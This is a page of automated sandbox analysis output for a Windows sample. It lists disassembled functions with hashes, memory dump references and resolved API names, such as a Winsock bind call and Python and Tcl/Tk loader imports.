Associated: 00000001.00000002.1990150988.00007FFDFAFF5000.00000080.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.1990196980.00007FFDFAFF7000.00000004.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaee0000_e45AiBoV6X.jbxd

Similarity

API ID: 00007
String ID: 0
API String ID: 3568877910-4108050209
Opcode ID: 694d1ef10048d8d9e723c88d7a4fb3d794fcf611330daaf8e0fc82ac1a635172
Instruction ID: 881cd3c43ea1665c6b9ed8b8985434ea1d90ffd0b576fcd2576b85f40df50581
Opcode Fuzzy Hash: 694d1ef10048d8d9e723c88d7a4fb3d794fcf611330daaf8e0fc82ac1a635172
Instruction Fuzzy Hash: 71E1C172B0C59385E768AB1594A4A7932A5FF64740F560175EE6F827CCDF2EEC81C700

Function 00007FFDFB002B5D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57networkCOMMON

Download Yara Rule

APIs

bind.WS2_32 ref: 00007FFDFB0CA629
WSAGetLastError.WS2_32 ref: 00007FFDFB0CA638

Strings

..\s\crypto\bio\b_sock2.c, xrefs: 00007FFDFB0CA5DE, 00007FFDFB0CA64E, 00007FFDFB0CA66A

Memory Dump Source

Source File: 00000001.00000002.1990278020.00007FFDFB001000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFB000000, based on PE: true

Associated: 00000001.00000002.1990234767.00007FFDFB000000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB00D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB065000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB079000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB08A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB090000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB09D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB27A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2D1000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB31F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB325000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB327000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB343000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB350000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991500652.00007FFDFB354000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991539153.00007FFDFB356000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb000000_e45AiBoV6X.jbxd

Similarity

API ID: ErrorLastbind
String ID: ..\s\crypto\bio\b_sock2.c
API String ID: 2328862993-3200932406
Opcode ID: 8475ffe534be1b52f8a83a963f2585e8110bc00f71c71f802b4263a764d0a002
Instruction ID: 3c33e4c5fbb3aa6a5fa2c285a4c5f105a8fb336f0a2a718c411adfb6b9421a7c
Opcode Fuzzy Hash: 8475ffe534be1b52f8a83a963f2585e8110bc00f71c71f802b4263a764d0a002
Instruction Fuzzy Hash: 07219F71B0A65386E7109B25E814AAE6360FB86B88F440531EAAD43BEDDF3CE5459F00

Function 00007FFDFB004241 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1990278020.00007FFDFB001000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFB000000, based on PE: true

Associated: 00000001.00000002.1990234767.00007FFDFB000000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB00D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB065000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB079000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB08A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB090000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB09D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB27A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2D1000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB31F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB325000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB327000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB343000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB350000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991500652.00007FFDFB354000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991539153.00007FFDFB356000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb000000_e45AiBoV6X.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef918091fb096f7f3b15b52f56d1f20409e7fcd6a29bffb6e9c2c8edbbbe5802
Instruction ID: 66132470af7868bbc43654c59f33f633d7efc9a4478a757950f821ce3d2ac09e
Opcode Fuzzy Hash: ef918091fb096f7f3b15b52f56d1f20409e7fcd6a29bffb6e9c2c8edbbbe5802
Instruction Fuzzy Hash: A9F0B4313282A105C755CE36A408F596DD19791BC8F52C030990CC3F98E92EC5018B40

Function 00007FFDFB00572C Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1990278020.00007FFDFB001000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFB000000, based on PE: true

Associated: 00000001.00000002.1990234767.00007FFDFB000000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB00D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB065000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB079000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB08A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB090000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB09D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB27A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2D1000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB31F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB325000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB327000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB343000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB350000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991500652.00007FFDFB354000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991539153.00007FFDFB356000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb000000_e45AiBoV6X.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55c2a1e253ae0d4be43f02913abd1952e0faa7daf1409bf0e3cf9f60e9e50613
Instruction ID: 65337d5b99eb144310de3bba49d42b4ef30014d2e3142f16c33bd2be42115d6c
Opcode Fuzzy Hash: 55c2a1e253ae0d4be43f02913abd1952e0faa7daf1409bf0e3cf9f60e9e50613
Instruction Fuzzy Hash: 95E0DF727193A505C796CE33A118E69AA91A316B89F83C030A90DC3B99ED2EC601DB40

Function 00007FFDFB0032F6 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1990278020.00007FFDFB001000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFB000000, based on PE: true

Associated: 00000001.00000002.1990234767.00007FFDFB000000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB00D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB065000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB079000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB08A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB090000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB09D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB27A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2D1000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB31F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB325000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB327000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB343000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB350000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991500652.00007FFDFB354000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991539153.00007FFDFB356000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb000000_e45AiBoV6X.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c56cf6a6487dceeb00cd67b5ea337eb2185dad23aeb4fdd049dd72e8a09a134
Instruction ID: 37abe064c7f6f5615cf2cebfad5c32c21055ccf531f4b337ddaf029ccdf80933
Opcode Fuzzy Hash: 7c56cf6a6487dceeb00cd67b5ea337eb2185dad23aeb4fdd049dd72e8a09a134
Instruction Fuzzy Hash: E5A002F4B15556296F6503615251B7806431A493CA8E29470A479112984A1CA150A150

Function 00007FF6FB1E50B0 Relevance: 157.9, APIs: 44, Strings: 46, Instructions: 364libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,00007FF6FB1E5C57,?,00007FF6FB1E308E), ref: 00007FF6FB1E50C0
GetProcAddress.KERNEL32(?,00007FF6FB1E5C57,?,00007FF6FB1E308E), ref: 00007FF6FB1E5101
GetProcAddress.KERNEL32(?,00007FF6FB1E5C57,?,00007FF6FB1E308E), ref: 00007FF6FB1E5126
GetProcAddress.KERNEL32(?,00007FF6FB1E5C57,?,00007FF6FB1E308E), ref: 00007FF6FB1E514B
GetProcAddress.KERNEL32(?,00007FF6FB1E5C57,?,00007FF6FB1E308E), ref: 00007FF6FB1E5173
GetProcAddress.KERNEL32(?,00007FF6FB1E5C57,?,00007FF6FB1E308E), ref: 00007FF6FB1E519B
GetProcAddress.KERNEL32(?,00007FF6FB1E5C57,?,00007FF6FB1E308E), ref: 00007FF6FB1E51C3
GetProcAddress.KERNEL32(?,00007FF6FB1E5C57,?,00007FF6FB1E308E), ref: 00007FF6FB1E51EB
GetProcAddress.KERNEL32(?,00007FF6FB1E5C57,?,00007FF6FB1E308E), ref: 00007FF6FB1E5213

Strings

PyModule_GetDict, xrefs: 00007FF6FB1E54D9, 00007FF6FB1E54F5
Py_IsInitialized, xrefs: 00007FF6FB1E5191, 00007FF6FB1E51AD
PyErr_NormalizeException, xrefs: 00007FF6FB1E5321, 00007FF6FB1E533D
PyEval_EvalCode, xrefs: 00007FF6FB1E53C1, 00007FF6FB1E53DD
Py_DecRef, xrefs: 00007FF6FB1E50B6, 00007FF6FB1E50D2
PyUnicode_FromString, xrefs: 00007FF6FB1E5731, 00007FF6FB1E574D
PySys_SetObject, xrefs: 00007FF6FB1E5669, 00007FF6FB1E5685
Py_InitializeFromConfig, xrefs: 00007FF6FB1E5169, 00007FF6FB1E5185
Py_ExitStatusException, xrefs: 00007FF6FB1E511C, 00007FF6FB1E5138
PyImport_ImportModule, xrefs: 00007FF6FB1E5439, 00007FF6FB1E5455
PyUnicode_Replace, xrefs: 00007FF6FB1E5781, 00007FF6FB1E579D
PyUnicode_FromFormat, xrefs: 00007FF6FB1E5709, 00007FF6FB1E5725
PyRun_SimpleStringFlags, xrefs: 00007FF6FB1E55F1, 00007FF6FB1E560D
PyUnicode_AsUTF8, xrefs: 00007FF6FB1E5691, 00007FF6FB1E56AD
PyConfig_Clear, xrefs: 00007FF6FB1E51E1, 00007FF6FB1E51FD
PyStatus_Exception, xrefs: 00007FF6FB1E5619, 00007FF6FB1E5635
PySys_GetObject, xrefs: 00007FF6FB1E5641, 00007FF6FB1E565D
PyErr_Restore, xrefs: 00007FF6FB1E5399, 00007FF6FB1E53B5
PyErr_Print, xrefs: 00007FF6FB1E5371, 00007FF6FB1E538D
GetProcAddress, xrefs: 00007FF6FB1E50E0
PyObject_CallFunction, xrefs: 00007FF6FB1E5501, 00007FF6FB1E551D
PyList_Append, xrefs: 00007FF6FB1E5461, 00007FF6FB1E547D
PyErr_Clear, xrefs: 00007FF6FB1E52D1, 00007FF6FB1E52ED
PyImport_ExecCodeModule, xrefs: 00007FF6FB1E5411, 00007FF6FB1E542D
Failed to get address for %hs, xrefs: 00007FF6FB1E50D9
Py_PreInitialize, xrefs: 00007FF6FB1E51B9, 00007FF6FB1E51D5
PyObject_CallFunctionObjArgs, xrefs: 00007FF6FB1E5529, 00007FF6FB1E5545
PyConfig_SetWideStringList, xrefs: 00007FF6FB1E52A9, 00007FF6FB1E52C5
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF6FB1E55C9, 00007FF6FB1E55E5
PyObject_SetAttrString, xrefs: 00007FF6FB1E5579, 00007FF6FB1E5595
PyConfig_Read, xrefs: 00007FF6FB1E5231, 00007FF6FB1E524D
PyMem_RawFree, xrefs: 00007FF6FB1E54B1, 00007FF6FB1E54CD
PyErr_Fetch, xrefs: 00007FF6FB1E52F9, 00007FF6FB1E5315
PyErr_Occurred, xrefs: 00007FF6FB1E5349, 00007FF6FB1E5365
Py_Finalize, xrefs: 00007FF6FB1E5141, 00007FF6FB1E515D
PyUnicode_DecodeFSDefault, xrefs: 00007FF6FB1E56E1, 00007FF6FB1E56FD
PyUnicode_Decode, xrefs: 00007FF6FB1E56B9, 00007FF6FB1E56D5
PyMarshal_ReadObjectFromString, xrefs: 00007FF6FB1E5489, 00007FF6FB1E54A5
PyUnicode_Join, xrefs: 00007FF6FB1E5759, 00007FF6FB1E5775
PyObject_Str, xrefs: 00007FF6FB1E55A1, 00007FF6FB1E55BD
PyConfig_SetString, xrefs: 00007FF6FB1E5281, 00007FF6FB1E529D
Py_DecodeLocale, xrefs: 00007FF6FB1E50F7, 00007FF6FB1E5113
PyImport_AddModule, xrefs: 00007FF6FB1E53E9, 00007FF6FB1E5405
PyObject_GetAttrString, xrefs: 00007FF6FB1E5551, 00007FF6FB1E556D
PyConfig_SetBytesString, xrefs: 00007FF6FB1E5259, 00007FF6FB1E5275
PyConfig_InitIsolatedConfig, xrefs: 00007FF6FB1E5209, 00007FF6FB1E5225

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyList_Append$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 190572456-2007157414
Opcode ID: 3c804ccaf4812c993b4970aca99c844c8aa25bcf6244ab31ff714926eb913965
Instruction ID: 64fc361415386140762d15d431bcb8a047f2fe96515796d1914d3aec1433a503
Opcode Fuzzy Hash: 3c804ccaf4812c993b4970aca99c844c8aa25bcf6244ab31ff714926eb913965
Instruction Fuzzy Hash: 521264A4D1DB0395FB65DB08AAB41B822A1AF4C794F946435D83ED2AF0FF7CB5488340

Function 00007FF6FB1E6EA0 Relevance: 119.3, APIs: 33, Strings: 35, Instructions: 280libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF6FB1E6EB7
GetProcAddress.KERNEL32 ref: 00007FF6FB1E6EFD
GetProcAddress.KERNEL32 ref: 00007FF6FB1E6F22
GetProcAddress.KERNEL32 ref: 00007FF6FB1E6F47
GetProcAddress.KERNEL32 ref: 00007FF6FB1E6F6F
GetProcAddress.KERNEL32 ref: 00007FF6FB1E6F97
GetProcAddress.KERNEL32 ref: 00007FF6FB1E6FBF
GetProcAddress.KERNEL32 ref: 00007FF6FB1E6FE7
GetProcAddress.KERNEL32 ref: 00007FF6FB1E700F

Strings

Tcl_ThreadQueueEvent, xrefs: 00007FF6FB1E7145, 00007FF6FB1E7161
Tcl_MutexFinalize, xrefs: 00007FF6FB1E70A5, 00007FF6FB1E70C1
Tcl_FindExecutable, xrefs: 00007FF6FB1E6F18, 00007FF6FB1E6F34
Tk_GetNumMainWindows, xrefs: 00007FF6FB1E73C5, 00007FF6FB1E73E1
Tcl_ThreadAlert, xrefs: 00007FF6FB1E716D, 00007FF6FB1E7189
Tcl_Init, xrefs: 00007FF6FB1E6EB0, 00007FF6FB1E6EC9
Tcl_CreateInterp, xrefs: 00007FF6FB1E6EF3, 00007FF6FB1E6F0F
Tcl_CreateObjCommand, xrefs: 00007FF6FB1E71E5, 00007FF6FB1E7201
Tcl_EvalFile, xrefs: 00007FF6FB1E72D5, 00007FF6FB1E72F1
Tcl_GetVar2, xrefs: 00007FF6FB1E7195, 00007FF6FB1E71B1
GetProcAddress, xrefs: 00007FF6FB1E6ED7
Tcl_Finalize, xrefs: 00007FF6FB1E6F65, 00007FF6FB1E6F81
Tcl_SetVar2, xrefs: 00007FF6FB1E71BD, 00007FF6FB1E71D9
Tcl_EvalEx, xrefs: 00007FF6FB1E72FD, 00007FF6FB1E7319
Tcl_DoOneEvent, xrefs: 00007FF6FB1E6F3D, 00007FF6FB1E6F59
Tcl_MutexLock, xrefs: 00007FF6FB1E7055, 00007FF6FB1E7071
Tcl_Free, xrefs: 00007FF6FB1E7375, 00007FF6FB1E7391
Tcl_JoinThread, xrefs: 00007FF6FB1E702D, 00007FF6FB1E7049
Tcl_ConditionFinalize, xrefs: 00007FF6FB1E70CD, 00007FF6FB1E70E9
Tcl_NewByteArrayObj, xrefs: 00007FF6FB1E725D, 00007FF6FB1E7279
Tcl_CreateThread, xrefs: 00007FF6FB1E6FDD, 00007FF6FB1E6FF9
Failed to get address for %hs, xrefs: 00007FF6FB1E6ED0
Tcl_DeleteInterp, xrefs: 00007FF6FB1E6FB5, 00007FF6FB1E6FD1
Tcl_ConditionNotify, xrefs: 00007FF6FB1E70F5, 00007FF6FB1E7111
Tcl_NewStringObj, xrefs: 00007FF6FB1E7235, 00007FF6FB1E7251
Tcl_GetObjResult, xrefs: 00007FF6FB1E72AD, 00007FF6FB1E72C9
Tk_Init, xrefs: 00007FF6FB1E739D, 00007FF6FB1E73B9
Tcl_GetString, xrefs: 00007FF6FB1E720D, 00007FF6FB1E7229
Tcl_ConditionWait, xrefs: 00007FF6FB1E711D, 00007FF6FB1E7139
Tcl_SetVar2Ex, xrefs: 00007FF6FB1E7285, 00007FF6FB1E72A1
Tcl_EvalObjv, xrefs: 00007FF6FB1E7325, 00007FF6FB1E7341
Tcl_Alloc, xrefs: 00007FF6FB1E734D, 00007FF6FB1E7369
Tcl_FinalizeThread, xrefs: 00007FF6FB1E6F8D, 00007FF6FB1E6FA9
Tcl_MutexUnlock, xrefs: 00007FF6FB1E707D, 00007FF6FB1E7099
Tcl_GetCurrentThread, xrefs: 00007FF6FB1E7005, 00007FF6FB1E7021

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 190572456-3427451314
Opcode ID: ea7dfca1e90abb6d4d8c6eb1b798acaf406610e772db9aaa2d8df727af0780f5
Instruction ID: 2ea597ca4e0d9f415ebdc688b2cc56dbad77a80652fe467aaab850adfbfd1a4a
Opcode Fuzzy Hash: ea7dfca1e90abb6d4d8c6eb1b798acaf406610e772db9aaa2d8df727af0780f5
Instruction Fuzzy Hash: 20E17268E1AB4395FB55DB14AAA41B863A5AF1C7D4F946436C83EC26F4FF3CB5488300

Function 00007FFDFB1B40C0 Relevance: 58.0, APIs: 19, Strings: 14, Instructions: 223COMMON

Download Yara Rule

APIs

00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB1B4D03,?,?,?,?,?,?,?,?,00007FFDFB1B2D3B), ref: 00007FFDFB1B4111
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB1B4D03,?,?,?,?,?,?,?,?,00007FFDFB1B2D3B), ref: 00007FFDFB1B4128
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB1B4D03,?,?,?,?,?,?,?,?,00007FFDFB1B2D3B), ref: 00007FFDFB1B413F
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB1B4D03,?,?,?,?,?,?,?,?,00007FFDFB1B2D3B), ref: 00007FFDFB1B4172
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB1B4D03,?,?,?,?,?,?,?,?,00007FFDFB1B2D3B), ref: 00007FFDFB1B41BB
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB1B4D03,?,?,?,?,?,?,?,?,00007FFDFB1B2D3B), ref: 00007FFDFB1B41EF
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB1B4D03,?,?,?,?,?,?,?,?,00007FFDFB1B2D3B), ref: 00007FFDFB1B4241
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB1B4D03,?,?,?,?,?,?,?,?,00007FFDFB1B2D3B), ref: 00007FFDFB1B4254
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB1B4D03,?,?,?,?,?,?,?,?,00007FFDFB1B2D3B), ref: 00007FFDFB1B426B
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB1B4D03,?,?,?,?,?,?,?,?,00007FFDFB1B2D3B), ref: 00007FFDFB1B427E
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB1B4D03,?,?,?,?,?,?,?,?,00007FFDFB1B2D3B), ref: 00007FFDFB1B4295
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB1B4D03,?,?,?,?,?,?,?,?,00007FFDFB1B2D3B), ref: 00007FFDFB1B42A8
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB1B4D03,?,?,?,?,?,?,?,?,00007FFDFB1B2D3B), ref: 00007FFDFB1B42BF
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB1B4D03,?,?,?,?,?,?,?,?,00007FFDFB1B2D3B), ref: 00007FFDFB1B42D2
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB1B4D03,?,?,?,?,?,?,?,?,00007FFDFB1B2D3B), ref: 00007FFDFB1B42E5
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB1B4D03,?,?,?,?,?,?,?,?,00007FFDFB1B2D3B), ref: 00007FFDFB1B42F8
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB1B4D03,?,?,?,?,?,?,?,?,00007FFDFB1B2D3B), ref: 00007FFDFB1B430B
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB1B4D03,?,?,?,?,?,?,?,?,00007FFDFB1B2D3B), ref: 00007FFDFB1B4357
